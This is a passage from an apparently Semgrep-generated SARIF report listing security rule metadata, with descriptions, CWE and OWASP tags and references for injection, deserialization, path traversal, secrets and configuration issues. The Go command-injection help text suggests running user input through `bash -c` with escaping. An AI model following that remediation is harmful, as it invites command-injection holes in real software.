vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","id":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","name":"go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.command-injection.grpc-command-injection.grpc-http-command-injection-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.pymongo-fastapi.pymongo-fastapi","id":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","name":"python.fastapi.db.pymongo-fastapi.pymongo-fastapi","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.pymongo-fastapi.pymongo-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading"},"help":{"markdown":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules)\n - [https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects](https://tanelp.github.io/posts/a-bug-that-plagues-thousands-of-open-source-ml-projects)\n","text":"Usage of NumPy library inside PyTorch `$MODULE` module was found. Avoid mixing these libraries for efficiency and proper ONNX loading"},"helpUri":"https://semgrep.dev/r/trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","id":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","name":"trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules","properties":{"precision":"very-high","tags":["MEDIUM CONFIDENCE"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.numpy-in-pytorch-modules.numpy-in-pytorch-modules"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","id":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","name":"python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-ruamel-fastapi.tainted-ruamel-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled data inside InteractiveConsole/InteractiveInterpreter method. This is dangerous if external data can reach this function call because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-code-run.dangerous-interactive-code-run","id":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","name":"python.lang.security.dangerous-code-run.dangerous-interactive-code-run","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-code-run.dangerous-interactive-code-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","id":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","name":"cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-malloc-free.local-variable-malloc-free"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"help":{"markdown":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx)\n - [https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities](https://blog.verichains.io/p/miner-project-attacked-by-vulnerabilities)\n - [https://x.com/shoucccc/status/1757777764646859121](https://x.com/shoucccc/status/1757777764646859121)\n","text":"Missing check for 'from' and 'to' being the same before updating balances could lead to incorrect balance manipulation on self-transfers. Include a check to ensure 'from' and 'to' are not the same before updating balances to prevent balance manipulation during self-transfers."},"helpUri":"https://semgrep.dev/r/solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","id":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","name":"solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","OWASP-A7:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.missing-self-transfer-check-ercx.missing-self-transfer-check-ercx"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"help":{"markdown":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-overview.html)\n","text":"Using the GrantPublicAccess method on bucket contruct $X will make the objects in the bucket world accessible. Verify if this is intentional."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","id":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","name":"typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod","properties":{"precision":"very-high","tags":["CWE-306: Missing Authentication for Critical Function","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.awscdk-bucket-grantpublicaccessmethod.awscdk-bucket-grantpublicaccessmethod"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-system-call.dangerous-system-call","id":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","name":"python.aws-lambda.security.dangerous-system-call.dangerous-system-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-system-call.dangerous-system-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources](https://wiki.sei.cmu.edu/confluence/display/c/FIO02-C.+Canonicalize+path+names+originating+from+tainted+sources)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.path-manipulation.path-manipulation","id":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","name":"cpp.lang.security.filesystem.path-manipulation.path-manipulation","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.path-manipulation.path-manipulation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.empty-password.empty-password","id":"rust.secrets.postgres.empty-password.empty-password","name":"rust.secrets.postgres.empty-password.empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.empty-password.empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"help":{"markdown":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n","text":"Potentially sensitive data was observed to be stored in UserDefaults, which is not adequate protection of sensitive information. For data of a sensitive nature, applications should leverage the Keychain."},"helpUri":"https://semgrep.dev/r/swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","id":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","name":"swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.sensitive-storage-userdefaults.swift-user-defaults"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"help":{"markdown":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#min_tls_version)\n","text":"Detected an AppService that was not configured to use TLS 1.2. Add `site_config.min_tls_version = \"1.2\"` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","id":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","name":"terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-use-secure-tls-policy.appservice-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"help":{"markdown":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse)\n - [https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render](https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render)\n - [https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render)\n","text":"Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","id":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","name":"python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.direct-use-of-httpresponse.direct-use-of-httpresponse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.sqlx-taint.sqlx-taint","id":"rust.actix.sql.sqlx-taint.sqlx-taint","name":"rust.actix.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","id":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","name":"python.django.os.tainted-environ-variable-django.tainted-environ-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-environ-variable-django.tainted-environ-variable-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","id":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","name":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret)\n - 